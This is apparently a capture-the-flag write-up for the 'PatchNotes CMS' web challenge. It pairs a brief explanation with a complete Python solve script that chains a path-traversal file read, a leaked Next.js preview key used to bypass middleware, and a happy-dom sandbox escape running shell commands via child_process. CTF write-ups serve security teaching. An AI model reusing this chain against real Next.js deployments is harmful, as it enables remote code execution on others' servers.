Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 

README.md

PatchNotes CMS

CTF Infobahn CTF 2025 (CTFtime)
Author 0xM4hm0ud && Yuu
Category web
Solves 237
Files patchnotes.zip

Solution

Patchnotes CMS (unintended)

Something went wrong with the permission on the flag.txt file. Players used the LFI vulnerability to read the flag.txt

Patchnotes CMS Revenge (intended)

  • We have an LFI vulnerability where we can only read .txt and .json files. Leak PreviewModeId from /app/.next/prerender-manifest.json.
  • Middleware can be bypassed with the header X-Prerender-Revalidate and the key we leaked in the first step.
  • RCE with happy-dom RCE https://github.com/advisories/GHSA-37j7-fg3j-429f

The reason why: https://github.com/vercel/next.js/blob/c274a5161845a21f32f9bf797a157a7d245cdf02/packages/next/src/server/next-server.ts#L1645C7-L1645C32 https://github.com/vercel/next.js/blob/canary/packages/next/src/server/api-utils/index.ts#L89

solve.py:

import requests

URL = "https://patchnotes-web.challs3.infobahnc.tf/"

def fetch_preview_id():
    file_path = "../../../../app/.next/prerender-manifest.json"
    response = requests.get(URL + "/api/notes/read?file=" +file_path)
    preview_id = response.json()["json"]["preview"]["previewModeId"]
    return preview_id

def get_flag():
    cmd = "/readflag > /tmp/data/flag.json"
    payload = f"<script> const process = this.constructor.constructor('return process')(); const require = process.mainModule.require; console.log('Files:', require('child_process').execSync('{cmd}')); </script>"
    data = {
        "file": "patch-1.0.3.json",
        "content": payload,
    }
    requests.post(URL + f"/api/notes/save", json=data)
    header = {
        "X-Prerender-Revalidate": fetch_preview_id()
    }
    requests.post(URL + f"/admin/api/preview", json={"file": "patch-1.0.3.json"}, headers=header)
    flag_response = requests.get(URL + "/api/notes/read?file=flag.json")
    print("Flag:", flag_response.json()["content"])

if __name__ == "__main__":
    get_flag()